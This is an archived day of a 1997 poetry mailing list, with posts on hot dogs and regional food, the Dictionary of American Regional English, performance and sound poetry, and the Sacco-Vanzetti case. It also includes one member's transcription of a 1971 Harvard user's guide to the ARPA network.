> *another thing my family (well: dad, bro, and i) are big fans of are Top Dogs. Top Dog is a sausage joint in Berkeley and truly one of a kind. tiny, tiny place and all they serve is sausage (polish, keilbasa, brats, etc.) (sometimes cleverly titled: a turkey dog there is a "bird dog") and whenever we are in berkeley we have to make a pilgrimage to Top Dog. been there since the '50s, looks like it, and tastes like it--awesome (again)!*

> *--shaunanne*

Steve Shoemaker

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840. Alan J Sondheim
First User's Guide to the Net, Ever:
Fri 25 Jul 1997

First Internet Guide:

The following is the first user's guide to the Internet, ever, dated Har- vard 30-Apr-71 ; the indenting is slightly changed, and underlining is given as _x_.

PRELIMINARY USER'S GUIDE TO THE ARPA NETWORK

1 _Overview_

The socket connection is viewed as a device and setting up a connection is analogous to mounting a disk pack or, in the 10/50 system, to assigning a logical name to a device. The user establishes a connection (via the UUO given below) and performs normal I/O, including file manipulations (initi- ally not implemented). The connection is permanent for the life of the user's job (unless it is explicitely closed). The user interface to the network is a pseudo-device labelled an "IMP". Each IMP is capable of a transmit and/or a receive socket connection. The IMP has been constructed to resemble as much as possible the device types on the PDP-10 timesharing system. Thus existing programs can be expected to work over the network.

2 _Implementation_

2A NCP Interface

2A1 The user interfaces with the NCP via a single UUO. The calling sequence is:

```
MOVE AC,[ (<FLAGS>B8) + <CODE> ,, E]
CALLI AC,-5   OR CALL AC,[SIXBIT -IMPUUO-]
  ERROR RETURN...       ERROR CODE PLACED IN E+1
OK RETURN...            FUNCTION COMPLETED

        ...

E:      SIXBIT /NAME/   ;DEVICE LOGICAL NAME
        O               ;RETURN ARGUMENTS
        <SOCKET>        ;LOCAL (8 BIT) SOCKET NUMBER
        <STATE>,,<HOST> ;INITIAL STATE(BYTE SIZE,
```

; ETC.), REMOTE HOST
<REMOTE SOCKET> ;REMOTE(32 BIT) SOCKET

2A2 Operation

Upon execution of the IMPUUO, the exec first identifies the requested function and verifies that the user is privileged to use the facility. The device identified in location E is then found and assigned by console to the user. If the device cannot be found and the function is of the connection type, then a free IMP is given to the user. If the specified name is null or "IMP", then the physical name of the device (IMP1, IMP2, IMP3, etc.) is written over it. Otherwise, the supplied name is given to the IMP as a logical name.

The NCP(Network Control Program) is called to generate the proper control messages and the current socket state (see section 2A5) is updated, as ap- propriate. If the function is one of those that wait for a reply from the remote host, the user's job is placed in I/O wait until that reply arrives or a timeout occurs (timeout occurs) timeout not yet implemented). When the operation has been completed, the skip return is taken. Whenever an error is detected, the proper code is deposited in E+1 and the non-skip return is taken.

2A3 Function Codes

The function codes are not yet fixed and are subject to immediate altera- tion. The current set is:

0 Return the status of transmit socket in left half of E+1 and the receive socket in the right half of E+1. See 2A5 for an explana- tion of the state codes.
1 Start making the connection specified.
2 Start closing the connection specified.
3 Same as (1), but wait for completion.
4 Same as (2), but wait for completion.
5 Listen for external requests for connection.
6 Flush all requests.
7 Get the next external request.
8 Accept the latest request.
9 Reject the latest request.
10 Connect the user's teletype to the specified socket pair. Both must be open.
11 Specify a translation code. (unimplemented)
12 Send an interrupt on link.
13 Trap to specified address on receipt of an interrupt on link. Address is in E+!.
14 Return the version numbers of the IMP service and the NCP in the left and right halves of E+1, respectively.

64 Send a "RST"
65 Send an "ALL". Arguments in E+1 and E+5.
66 Send a "GVB".
67 Send a "RET".
68 Send an "ECO".
69 Send an "ERP".

2A4 Error Codes

When the non-skip return is taken, an error code is deposited in E+1 as follows:

0 The function is not available (illegal or not implemented).
1 There is no such device (IMPn with n too big).
2 The device is not available.
3 The device is not an IMP.
4 The socket must be closed for this operation.
5 System error -- socket wouldn't open.
6 Socket must be open for this operation.
7 System error -- socket wouldn't close.
8 Socket must be listening for this operation.

2A5 Socket States
0 S.CLOS Closed
1 S.LSTN Socket is listening for incoming requests.
2 S.RFCN An RFC has arrived on a listening socket
3 S.ABRT A CLS was received for a socket in S.RFCN state.
(aborted request)
4 S.RFCW A RFC was sent. An answer is expected.
5 S.OPEN Open for data transfer.
6 S.CLSW A CLS was sent. A reply is expected.
7 S.RFMW Waiting for a RFNM before issuing a CLS.
8 S.CLRC Awaiting a CLS for the logger
9 S.RMLW Awaiting a RFNM for the logger.

---------- [This constitutes the first 3 pages. Punctuation has been preserved. The fourth page is handwritten and contains a diagram, Module interaction for a Telnet-logger Connection. The date on this is 12-May-71; both are from Harvard. The diagram demonstrates the central role of the IMP, NCP, Data Control, and Logger modules, as well as Server and User Processes.

Thanks to Peter H. Salus for the xerox. It's unclear whether the diagram is part of the Guide. Salus states that Guide is "four pages long," but the diagram is dated later, and is not necessary for access. The third page ends half-way down.

I recommend Salus' Casting the Net; he is also producing two larger vol- umes on the early history of the Net, which will include various repro- duced docu- ments.

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841. **Joseph Zitt**
Re: toads
Fri 25 Jul 1997

Christina Fairbank Chirot wrote:

> *We call that egg-bread pan fry job "texas-toast" but don't know the origin of the term.*

Well, here in Texas (I can say that until I move to Maryland on Saturday), texas toast is a thick slab of bread, buttered lightly on both sides then grilled.

(Somehow "egg-bread pan fry job" sounds like an obscure John Zorn title...) ----------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ===== [redacted] ===== Human Systems \||| ||/ Austin, Texas! ========== SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == Empty Words == ecto \|

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842. **Hugh Steinberg**
(no subject)
Fri 25 Jul 1997

The authors of Roadfood are Jane and Michael Stern. Their new book is called "Eat Your Way across the USA," and I cannot recommend it highly enough, especially if you're on a roadtrip. Along with scads of reviews of great regional restaurants, there are fascinating sidebars exploring the different types of regional cuisine, such as the different varieties of barbecue, hot dogs, meal and threes, etc.

Having recently left Chicago, my stomach still periodically yearns for Italian beef sandwiches, which are sort of like an especially sloppy french dip (and if you're especially interested in clogging your arteries, you can get a combo Italian beef/Polish sausage, complete with grilled onions and peppers).

Hugh Steinberg

> *Calling hot dogs 'Coney Islands' or, better yet, 'Coneys,' predates by several decades the 70's brand name--they were served on the boardwalk long before. I think that the excellent book -Roadfood- (a state-by-state guide*

> *to the niceties of local vernacular cuisine) sheds some light on this.*
> *Can't recall the authors' names, I'm afraid. Actually, now that I think of it, the technical term is 'Coney Island Red Hots,' I think because of the pepper flakes within.*
> *And let's not even start on the regional variants on hot dog condiments--the Chicago dog with its celery salt, the slimy red relish indigenous to New York, Pink's chili (loved by Howard Hughes and also rumored to be horsemeat--see James Ellroy's 'Hollywood Nocturnes') here in L.A.*
>
> *On an equally 'pop' note--an excellent versions of You're Gonna Miss Me (R. Erickson) have also been recorded by The Lazy Cowgirls. But I don't believe for a minute it's about Martians. Now, The Rezillos' "Flying Saucer Attack," or Twinkeez' amazing single "Aliens In Our Midst"...and that old novelty hit "Martian Hop," there's some homophonic translation for you.*
>
> *Which reminds me--is Andrews' ongoing -Paradise- really a homophonic translation of Dante? From what I read of his working method it -Paradise and Praxis- it would seem otherwise.*
>
> *diggity,*
> *fjb*

↑ Index

843. **Hugh Steinberg**

Re: Mike Gold/katherine anne porter

Fri 25 Jul 1997

My hunch is that they were picketing over the Sacco-Vanzetti case (two anarchists railroaded over an alledged murder of a paymaster and his guard in 1920. They were armed when arrested, gave contraditory evidence, and feared deportation. They were found guilty in 1921, and executed in 1927. The most notorious political execution in this country prior to the Rosenbergs).

Hugh Steinberg

> *Rachel L. wrote:*
>
> *Very odd. Found this, from Katherine Anne Porter, which seems to support the Hofstadter:*
>
> *"Once on the picket line, I took a good look at the crowd moving slowly forward. I wouldn't have expected to see some of them on the same street, much less the same picket line and in the same jail. I knew very few people in that first picket line, but I remember Lola Ridge, John Dos Passos, Paxton Hibben, Michael Gold, Helen O'Lochlain Crowe, James Rorty, Edna St. Vincent Millay, Willie Gropper, Grace Lumpkin, all very well known then and mostly favorably--most of them have vanished, and I wonder who but me is alive to remember them now? I have a strangely*

> *tender memory of them all, as well as the faces of strangers who were being led away by the police.*
>
> *where was Katherine Anne Porter saying/writing this? thanks--*
>
> *kl*

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844. Christina Fairbank Chirot

Re: performance poetry?

Fri 25 Jul 1997

Re Paul Dutton: Making a "high"/"low" distinction --I don't think from conversations with him and his essays that Paul Dutton does this. After all, his work has long drawn on blues forms, doo wop, early rock and roll and Free Jazz. Paul has written esays in Musicworks on Doo wop and as well an excellent essay on bpNichol in which Free Jazz and country and western are discussed. I won't pretend to speak for Paul Dutton in re the ways in whcih he may make distinctions among performances. I can only offer my impressions--and one is that he is open to listening to anything and everything as material. From his interest in blues, doo wop and Free Jazz I gathered that he has more of a sense of what Lorca called Duende in his response to a work's "immediacy and force" to use Larry Eigner's criteria. That is--Paul has a sense of what used to be called Soul involved in his listening. As well he did note a sense of some artists being such by vocation and others by professionalism. But these are not hard "modernist" distinctions. They are ones that may be found in any area of work and performance. I have heard more than my share of interviews with baseball and football and basketball players in which such distinctions are made. Sometimes the two are intertwined--as they are in Paul's work in which scholarship and discipline are used as materials in the presentation of a work which opens up the materials as in the disciplined exchanges involved in the spontaneity of Free Jazz. Bob Cobbing said he had one criteria for a work to be of interest and use: "robustiousness". That may be more akin to Paul's sense than the intellectual dialectics being imputed to him. -dbchirot

On Fri, 25 Jul 1997, cris cheek wrote:

> *Hi, sorry if this crosses other recent posts, have been off-line for two days and might have missed discussion: but*
>
> *Doug Barbour's report on Paul Dutton's attempt at a form of purist cleansing within the ranks of 'performance poets' point up a vain folly. There are likely to be as diverse appraoches to the performance of*

> *poetries, as to the writings of them. Dutton's deliberations mark out a protectionist approach to parameter formation that does us all a dis-service. I write as someone who considers performance an integral aspect of my 'writing' practice and whose work fits neither comfortably into the slam / rap / epiphanic identikit skools, nor is 'sound' poetry as such conventions might be referred to in short-hand. The binary, on which Dutton is reported to be deliberating, is appallingly false and crude. It also bears more than a hint of old creaky 'high' 'low' blather. It's the corrupt rump of modernist angst. No thanks.*
>
> *He had decided to define sound poetry in terms of what he & Bob & some of the others mentioned already on the list (Charles Morrow, Jackson Maclow) & to leave out the kind of performance poetry we heard the next evening: a good bit of comedy, too many obvious rhymes (& all hit hard by the voie for some reason), & always a strong narrative (at least from this performer0, yet done with he flair of a standup comic. I would, for the moment, tend to agree with him. His amazing "Stereo Head" is certainly an awesome 'performance' but it is so within extremely strict & demanding *formal* limits, as were the varied pieces of the horsemen. And Cobbing's chants are too. Or any of the others i've already named & many others.*
>
> *love and love*
> *cris*

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845. **Christopher Alexander**

Relics Serve As Youse Mouth Are Able

Fri 25 Jul 1997

Fraulein—
BA's method ["paradise"] is, I take it
not particularly methodica. methodical.
at least in so0me instances of the work.
"duffer": (used to hear this in connection
with—was it golf?) "an incompetent,
ineffectual, or clumsy person". I highly
doubt that you cld be made to "fit that
bill". or "a peddlar, esp. of cheap flashy
articles"? hmmm, nope. I think BA's
method is something like this paragraph.

btw, I've included yr msg below: I thought
at first that it was a poem, & in fact—I
still do. try it out.

I have this idea now, that I'm just going
to say my work is a sound translation of
the Purgatorio. it's not. but I'm going to
claim that that's the source & mission of
my work from now on: a sound translation
that spans all of my poems & books. the
trick is, it's in no particular order, i.e., not
an orderly working through the poem—or,
rather, that it's done in order, but presented
in another order imposed by the resultant,
individual poems. wldn't that be fun? who
cld say otherwise. if I were more prolific,
sooner or later I wld have written more
lines than are available from that work, &
someone might notice that. yet still I wld
insist. people might be angered, & perhaps
I'd be reviled in the "innovative poetry"
community, & eventually die in isolation.
oh—alright, then, the project's off.

how fortunate for you to have stumbled on
that reading. it does sound like a nice evening.
I'm starving for art out here. the closest thing
I might stumble on wld be a a bake sale.

send help.

out here things are fine. Linda returned
from Oregon wednesday night, & that's
been nice. she's travelling a lot this summer.
we had mimosas last night. apparently, 24
July is a holiday here in Utah: Pioneer Day.
everybody has off work except the people
who are paid less—retail workers & cooks,
waiters etc.—who have to work as usual.
but the university was closed, so I had the
day off. there were fireworks last night, too,
but we didn't go. I'm much too grumpy for
"civic" events, especially as people out here
generally have 4 or more children by 35.
. L. is teaching me to play tennis, & I spent
the afternoon trying to hurt my wrist as badly
as possible—which fortunately was a wasted
effort as it seems fine now. at work today but

everyone seems to have taken a 4 day weekend.
seriously thinking that I'll do a bit of work, then
lock myself in my office & read Spicer or write
for the rest of the day.

listen, I want that Arras, but I'm out of checks.
do you think it's safe to wait (I expect them
next wk), or should I get a $$ order? I have
occasionally sent cash through the mail, but
not to NYC.

best, Chris

oh, the poem you sent, which I've taken the
liberty of titling (fondly) "Loose Lips". very
post-"NY School"—though parts of it are
clearly influenced by Bernstein's work (so
maybe post-post-NYSchool?).

Loose Lips

Dear Franklin
when it comes to BA's method I'm a duffer
you're better off asking a pro
but each time I hear him read it he says
this is the first song off our new album
no
this is from my sound translation of Dante's Paradiso
is what he says (I say)
the poem's called "Lip Service" and parts of it
were in Brian Kim Stefans' excellent magazine, _Arras_
anyway what ever happened to Dale Herd?
To Curtis Faville?
To Charlie Vermont?
To Dee-dee Susan Dubelyew?
walking through Union Square last night
heard Ed Sanders and Eileen Myles read
Eileen got to say Fuck You to the Barnes & Noble marquee
it was a very pleasant evening
they both read very well I thought to a loosely assembled crowd
of young thugs in the breeze
afterwards Lisa Jarnot reintroduced me to Ed which was cool
Anselm Berrigan was there
so was Simon Pettet reclining on the pavement
Ed Friedman was a sort of cohost

> Ed Sanders had read from 1968 Eileen read from School of Fish
> Anyway
> How are things out there?

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

↑ Index

846. Jordan Davis
deipno / diotima
Fri 25 Jul 1997

I liked the democratic trappings of the Dictionary of American Regional English, too, and I loved the bird-book quotient of the use-maps. Why am I piping up? All this discussion of sausage has me thinking of Athenaeus's The Philosophers at Dinner which admittedly is at times an entertaining read, but am I glorifying an imaginary past when I say it's perhaps less _on topic_ than that other collection of table talk, the Symposium?

What are poems about? Or rather, what are _other people's poems_ about, what do they do, since it seems likely that are many complications involved in speaking reasonably about what one's own poems do. Probably a writer can say useful things about the architecture of a poem, and the working method, and also probable is the will of the writer to confirm or deny rumors of influence. What then are other people's poems about?

Jordan

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847. Christopher Alexander
Re: Words Worth (fwd)
Fri 25 Jul 1997

Steven Marks wrott:
> ditto from me. The last five or six poems/poetics have been riveting. I've
> saved some and have reread them several times. Somebody out there take
> alan at his word and publish this work.

Alan & I are working out a selection of the Jennifer poems to appear as a book on nominative press collective in the fall. one of us will announce it to the list when it comes available.

Chris

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

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848. Franklin Bruno
merguez and messages
Fri 25 Jul 1997

Mark Weiss wrote:
>"Le hot dog" is now fairly common in France, but it hasn't displaced another
>exotic, the far-superior merguez, a Tunisian lamb sausage served with
>harissa, a red pepper concoction, and/or dijon mustard.

Thanks, Mark, now I know how to spell 'merguez,' which I'd never heard them until man-of-much-travel-and-many-talents Guy Bennett (whose Seeing Eye Books series I hope you've all subscribed to) served them at a dinner a few months back. They reminded me a bit of a gamy Italian meat-product called (I'm transliterating from my family) 'gimarede,' which isn't really a sausage, having no casing. You know, this list, especially in the digest(ed) form I receive it, is a bit like a string of sausages itself--a long receptacle of undifferentiated matter pinched and twisted into separable units. To that extent, I'm with those who have recently suggested that people stuff more rather than less into their casings (i.e. comment on several threads in a single post). Since, as CB comments, there's no limit on the length of each of the arbitrary 50 messages, this might help avoid more rejected messages. Dodger Dogs, not Lil' Smokies, people.

Actually, I don't feel that strongly about this, but the strained metaphor was too much for me to resist.

fjb

↑ Index

849. **cris cheek**

Re: performance poetry / what comes next?

Fri 25 Jul 1997

Hi Lawrence,

re: I don't think I have seen / heard what Paul has said and would
>rather hear what he is saying before saying things like _vain folly_...

I would agree. Wish (perhaps he is) he were here to put my slander right. I've great respect for his skill as a performer.

I wanted to encourage this thread to unravel further since as through the extension of the subject heading i feel this is part of the discussion under 'what comes next?'.

Without any intention to priveledge performance, it is that work which explores an inter-disciplinarity between 'page' and 'stage' with some integrity and sharp attention to detail, that excites my curiosity. Even to the points of blur.

I'm particularly struck by the work of TRG (bp nicol and Steve McCaffery), as documented in 'Rational Geomancy' in this respect. Also Steve Benson's 'Blue Book' and 'Reverse Order'; Fiona Templeton's 'Recognition'; the work that you yourself are doing with Bob Cobbing in the 'Domestic Ambient Noise' series; Caroline Bergvall's 'Eclat'; Carla Harryman's 'Memory Play'; Bernard Heidsieck's 'Poems - Partitions'; Joan Retallack's 'Errata Suite'; Antin's 'Talking at the Boundaries'; Jackson MacLow's 'The Pronouns' and many more

> *almost any binary is likely to be wrong... the answer whatever the question is more than likely to look as though it should be _maybe_ but with a bit more processing power the answer is nearly always seen to be _wrong question_*

Indeed binaries, more often than not, reveal the oversimplistic results of dull application.

> *asking the wrong question isnt a cue to ask the right question - it is an alarm that you have misapprehended the context*

Apprehension is that context. It often results in a reading for comforts of 'home'. Perhaps it's time for more strategically exploratory approaches to 'discomfort'.

Placing of the work into contexts which offer less obvious securities - engagements with issues of site (and 'non-site', not to forget Smithson's hugely useful dialectics) and audience - that become dialogic with the work itself, in ways that ask direct (very often positive) questions of it.

love and love
cris

↑ Index

850. Christopher Alexander

Relics Serve... (apologistic mix)

Fri 25 Jul 1997

All—
damn, inadvertently sent
a backchannel msg to the
list. actually, I can't figure
out how that happened,
as it wasn't in response
to a posted msg in the
first place. "& I specifically
told them to make it
without MSG"! maybe
I clicked the wrong entry
in my "address book"?
(mutter)... technology...
(grumble grumble)...

anyway, unless you're hot
to hear praise for Bruce
Andrews & an update on
my tennis game, don't
bother w. that Relics Serve...
message. as to who the
"Fraulein" is, you'll just have
to guess.

Chris—still apologizing
under his breath

..
Christopher W. Alexander etc.
nominative press collective

[redacted]
P.O. Box 522402 / Salt Lake City UT 84152-2402

http://choengmon.lib.utah.edu/~calexand/nonce

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851. David Bromige
mark wallace/mark weiss/held list?
Fri 25 Jul 1997

I would like to second, with great appreciation, Mark Wallace's expositions of multi-variable poetry. Such an approach to the art was certainly given by the poetics of the New American Poetry, & also by the poetics of Langpo. Yet it is not often found, & it is an interesting question as to why? Perhaps it has something to do with it being the thing, & espec. the american thing, to build a better mousetrap & then go on using it. As marketable product, which poetry at one point in its social life has to be, it needs to be readily identifiable, & the kind of work Mark would advance, does not lend itself readily to this "trademark" or "brandname" practice.

Such practice, btw, is intimately bound up with an authentic (though not nec. intrinsic) aspect of poetry, to wit, that, just as in the sciences, there are _problems_ & can be _solutions_ , (or better, with poetry, (non) problems & (non) solutions), & that these often bear a "stamp" or "typos". Diminishing returns, esthetically, arise, however, when last time's solution becomes this time's goal. Increasing returns, though, may be anticipated in terms of product recognition. The poet becomes to her/him/self the poetry already written, with consequent loss of sharpness. (Rae Armantrout writes in her poetry : "At first we loved because we startled." For present purposes of clarification, I would add to this., "And then we love because we dont.")

Actually, for those who _really_ want a poetry that bears the authentic imprint of an author, Mark's is the way to follow. The greater the variety of practice by one author, the greater the chance that what consistencies _can_ be traced throughout the oeuvre, are unavoidable to that poet, the real blind spots that everybody know it or not wants to love. But that is difficult work, locating such, & more superficial signs of identity prove more generally welcome. Mark has chosen a hard row to hoe, but his books to date demonstrate he does it brilliantly, and his essAys & postings show that he argues for it very well.

****

Another Mark, surnamed Weiss, writes me via this list that the hotdog thread isnt abt food, it's abt language.. Sure, I get that, but for me, words are mixed up with the objects they name. When I read about hot dogs, the taste & texture of a hot dog comes into my mouth. This is why I cant discuss Hedy Lamarr's book _Ecstasy & Me_ , except with increasing incoherence.

****

Is this another list-held day? Perhaps we should all send ten bucks to the listmaster so that he can hire extra help. (No, Charles didnt put me up to this back

channel. But it must cost _something_ to run this operation. How come we're getting it for free? If we paid something, we could feel more justified in wishing to control the means of production, & able to do something about things that don't please us.)

David

PS talking abt neologisms, which someone usually is, i at first typed "Means of prodsuction". Now we have a new word for "fuck".

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852. **simon**
Re: dog days
Fri 25 Jul 1997

I'm a former editor of DARE (in Vol. II wrote (nonscience) ho's, hu's) Vol. II 1st half of nonscience i's, & the k's (my favoriate phone).

It's not online. That's a hugely expensive proposition.

But, regarding DARE, we include regional and social dialect/ nonstandard material, but not slang--although Vol I sticks with this distinction less than Vols. II & III. (above should be Vol. III 1st half).

Haven't got it in front of me, but latest Random House is quite good on slang.

beth simon

↑ Index

853. **Judy Roitman**
Re: hot dogs I have known
Fri 25 Jul 1997

Then there were the hot dogs served between 1975 and 1985 in Warsaw, when communism had destroyed the economy and little food was available. If memory serves me right, these consisted of mushrooms and cheese on a bun.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996

↑ Index

854. **simon**
Re: hot dog
Fri 25 Jul 1997

Volume III of the DARE just came out this year. The "launch"
was at the end of May, part of the Dictionary Society of North
America meeting in Madison.
Volume I A-D
Volume II E-H
Volume III I-N
Volume IV (which we began working on 4 yrs ago while
finishing Vol. III) O-T.
Vol. V U-Z plus a list of al the people who contributed quotes,
and other addenda.

It was initially projected as a 5-year project--and still does offer the only synchronic pciture of (U.S.) American speech. Data collection 1965-70.

DARE's part of the English dept. at UW-madison.

More than you wanted to know, perhaps.

best,
beth simon
(now) assistant professor, linguistics and english
indiana university purdue university
[redacted]

↑ Index

855. **simon**
Re: dog days
Fri 25 Jul 1997

Pig in the blanket, and toad in the hole will both be
entries in DARE.

oh, oh, now you've got me started.

Pig in the blanket will have several senses.

beth simon

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856. **Mark Weiss**
Re: Mike Gold/katherine anne porter
Fri 25 Jul 1997

See Rexroth poem re: the execution. Sorry, my books are unavailable. The executions are one of the key events in US leftist history/myth.
At 11:38 PM 7/24/97 -0600, you wrote:
>My hunch is that they were picketing over the Sacco-Vanzetti case (two
>anarchists railroaded over an alledged murder of a paymaster and his guard
>in 1920. They were armed when arrested, gave contraditory evidence, and
>feared deportation. They were found guilty in 1921, and executed in 1927.
>The most notorious political execution in this country prior to the
>Rosenbergs).
>
>Hugh Steinberg
>
>>Rachel L. wrote:
>>
>>> Very odd. Found this, from Katherine Anne Porter, which seems to
>>> support the Hofstadter:
>>>
>>> "Once on the picket line, I took a good look at the crowd moving slowly
>>> forward. I wouldn't have expected to see some of them on the same
>>> street, much less the same picket line and in the same jail. I knew very
>>> few people in that first picket line, but I remember Lola Ridge, John
>>> Dos Passos, Paxton Hibben, Michael Gold, Helen O'Lochlain Crowe, James
>>> Rorty, Edna St. Vincent Millay, Willie Gropper, Grace Lumpkin, all very
>>> well known then and mostly favorably--most of them have vanished, and I
>>> wonder who but me is alive to remember them now? I have a strangely
>>> tender memory of them all, as well as the faces of strangers who were
>>> being led away by the police.
>>>
>>
>>
>>where was Katherine Anne Porter saying/writing this? thanks--
>>
>>kl
>
>

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857. **Aldon L. Nielsen**
Re: is "doo wop" an ethnic slur?
Fri 25 Jul 1997

I'm just the opposite of David Bromige in this regard. I can't look at food without thinking of words. When I made love to Heddy Lamar, I kept thinking of that book.

and every time I saw a virtual space with a real corn dog in it, I thought "shit on a stick" --

---- I was going to post my poem "fifty things about Gennifer" here, but I kep getting messages that the poetics list had exceeded its capacity for the day

---
One man's prozeugma is another woman's execratio. -- that's what I always say --

↑ Index

858. **Mark Weiss**
American food
Fri 25 Jul 1997

While we're on the subject, I've always been curious about the yuck factor in American eating habits--the voluntary restriction of dietary choices. Even in cultures with strict food taboos the range of what's considered edible is usually fairly wide: traditional Jews, for instance, keep kosher, but they eat intestines, tongue and liver. English, Germans, Italians, French, Chinese, eat almost anything, regardless of the social class of the eater. Americans, on the other hand, reduce their range as they get further from their ethnic origins. Here's a short list of the often-considered yucky: any innards, octopus, squid, eel, lamb or goat (at least in Anglo Southern California--there are Greek restaurants here that don't serve lamb), mutton, all game, duck, oysters and clams (particularly raw), all other seafood except lobsters and shrimps. Veggies fair somewhat better, altho okra commonly provokes a gag reaction. Actually, vegetables are more tolerated for their healthfulness than loved--witness Bush's PR- manufactured aversion to broccoli, which was supposed to make him seem childlike and appealing, a regular guy or something. The consequence--limited production of many of the offending comestibles and a food industry that caters to food paranoia--hence the listing of ingredients on restaurant menus and the proliferation of clone franchises that protect one from the gustatory surprises of travel. Even cheeses are affected by the general narrowing of taste--in the coutries of origins hundreds of cheeses are produced. Here it's mostly cheddars and near-relatives and one or two soft cheeses and unripe goat cheese among the well-travelled:

selection for blandness, as in the distaste for gamey meats. I don't think that this progressive limiting of taste is a product of agribusiness, altho it certainly makes its job easier--in industrialized countries where the yuck factor doesn't exist or is less extreme demand has successfully thwarted suppliers' homogenizing tendency. Perhaps an anthro list would be more appropriate for this one. Any theories?

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859. **john_lavagnino**
Real food
Fri 25 Jul 1997

Out near Worcester, Mass., is a great place called Hot Dog Annie's, open every day of the year. One of the largest displays of hot dogs rolling in place that you'll see anywhere. They also do hamburgers. A few years back the Boston Globe ran an interview with Annie herself, and she complained: you go to most burger places and order a burger, and what do you get? A plate of weeds. When you order a burger at Hot Dog Annie's, we don't put any weeds on it.

↑ Index

860. **Pritchett,Pat**
Re: deipno / diotima
Fri 25 Jul 1997

Oh Jordan they must be about what they find missing in the poems of other people who write poems in which their own poems purport to find what is missing in all those poems in which the missing center of the poem occupies the margins. Now read on...

****

Good news and hurrah for Christopher Alexander and Alan Sondheim publishing
a collection of Alan's new work.

**** Sometimes a hot dog is just a hot dog but sometimes it is also (in LA anyway) an Oki-Dog on Santa Monica near Highland and wrapped in a tortilla. But I will be in LA from Aug. 12-20 and intend to visit my favorite burrito stand in the universe at Sunset and Alvarado. Would also be happy to meet any from the List who live or may be there too.

Patrick Pritchett

From: Jordan Davis
To: POETICS

Subject: deipno / diotima
Date: Friday, July 25, 1997 3:46PM

What are poems about? Or rather, what are _other people's poems_ about, what do they do, since it seems likely that are many complications involved in speaking reasonably about what one's own poems do. Probably a writer can say useful things about the architecture of a poem, and the working method, and also probable is the will of the writer to confirm or deny rumors of influence. What then are other people's poems about?

Jordan

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861. **Lawrence Upton**
Re: performance poetry?
Fri 25 Jul 1997

<< Re Paul Dutton:
Making a "high"/"low" distinction --I don't think from conversations with him and his essays that Paul Dutton does this.>>

-dbchirot

Yes - that wld describe my feeling - that big sea between Canada and UK inhibits conversation quite a bit - but I was surprised by the idea based on my distant memories of meeting, much more recent memories of a visit Paul made here a couple of years ago - we talked best part of an afternoon and evening then as i recall and i guess that _ anything and everything as material_ would sum it up, i remember openness and inquiry - and based on his work/writing, wch for me is an incomplete knowledge

I tried to speak to cris about this backchannel last night but it bounced back _unknown_ again - must be the mist coming off the north sea

L

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862. **cris cheek**
Re: performance poetry?
Fri 25 Jul 1997

Hi Dave, fair points all along - it seems crass on my part to use Douglas' Dutton dilemma story:

> *Re Paul Dutton:*
> *Making a "high"/"low" distinction --I don't think from conversations with him and his essays that Paul Dutton does this. After*

> *all, his work has long drawn on blues forms, doo wop, early rock and roll and Free Jazz. Paul has written esays in Musicworks on Doo wop and as well an excellent essay on bpNichol in which Free Jazz and country and western are discussed.*

But what's curious then, is that when it comes to the performance poetries which much align themselves to rap, dub, ragga and so on - surely the blues, jazz, of our time - there is (and here i've only, as Lawrence points out, got Douglas Barbour's report to go on) apparently a wish to distance such influences in terms of poetic practice. That is to feel the desire to define them outside of 'performance poetry'. Perhaps exactly the point Dutton is making. That the verbal stylings and the vocal projection have most impact when integrated. In other words that such things can be discussed in terms of their vocal stylings but become more bothersome when the linguistic content (we could go on gnawing over that one all night) is offered without all of the contextualising sound.

My worry is of a priveledge being given to the Free Music trajectory as an arrival on the trail of 'progress' - that idea that that's the stuff that's really going down. It promotes what Fiona Templeton usefully nick-names the 'ejacula-improv' approach to voice.

I suggest that is both old and too closed, reductive and sometimes even essentialist (something McCaffery also pointed out). Not uninteresting, but period.

I'm writing here as someone who values highly what Bob Cobbing is up to, who has done and still does do voice-based performance work, who has in the past played a lot of so-called Free Music.

Voice / orality / spoken rhetorics have far more to offer integrated and inter-disciplinary poetics practices than such an advocacy, if that is what is somehow surfacing, permits. It seems far too easy to consign 'that' to 'there' as not a part of. To say that's all slam poetry, that's stand-up (Jeff Derkson can be hilarious and so on) or comedy poetry or whatever - without looking at what can be learned and re-applied in other contexts to other purposes.

Time to re-appraise, re-contextualise - move on (not in a teleological sense but - you know what i mean i think).

love and love
cris

↑ Index

863. **Mark Weiss**
Re: dog days
Fri 25 Jul 1997

In the interest of limiting the flow of electrons through space this post will serve three distinct functions.

1. Perhaps this should be backchannel. Where and for how much can one acquire Dare vols II-III?

2. This should be of more general interest. What is the boundary between social dialect/nonstandard material and slang, and is it guarded by permanent gun emplacements? For instance, my wife's family, from Charleston SC (deebutante class) and Asheville NC (educated ministerial hillbillys become professionals), use words like wapperjar and bumfuzzled. Which are these?

3. This one's just because I want to tell the story. It speaks to a social dimension of the yuck factor. My then inlaws-to-be, trying to be nice, acceded to my requests for regional food by taking me to a wonderful black-run soulfood restaurant (I forget the name, but it's apparently well-known) in Chapel Hill (we were visiting relatives in Durham, which is close by). I was delighted to find chitlins (alright, chitterlings) on the menu. They are a favorite of mine, and hard to come by in my usual haunts. When I ordered them the black waitress asked me if I was sure I knew what they were, i.e, "white people don't eat this stuff." My future father-in-law (we very quickly became great friends) had a peculiar look on his face which I interpreted as approbation, as in, "this long-haired yankee jew knows how to eat!" I later learned that what he really meant was "this long-haired yankee jew is even weirder than the last guy she brought home--he eats servants' food." I was, of course, the only one who ordered chitlins.

> *But, regarding DARE, we include regional and social dialect/ nonstandard material, but not slang--although Vol I sticks with this distinction less than Vols. II & III. (above should be Vol. III 1st half).*

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864. **cris cheek**
Re: appropriateness and strategy
Fri 25 Jul 1997

Hi Bob, re

i've performed some
>sound poetry at slams, and the results aint pretty...

wouldn't the reversal also be true? I'm all for the challenging, but it needs to be curated with the cunning of appropriateness to strategy.

Appropriate production for the work, appropriate context for distribution. Sometimes the jump just falls clunk.

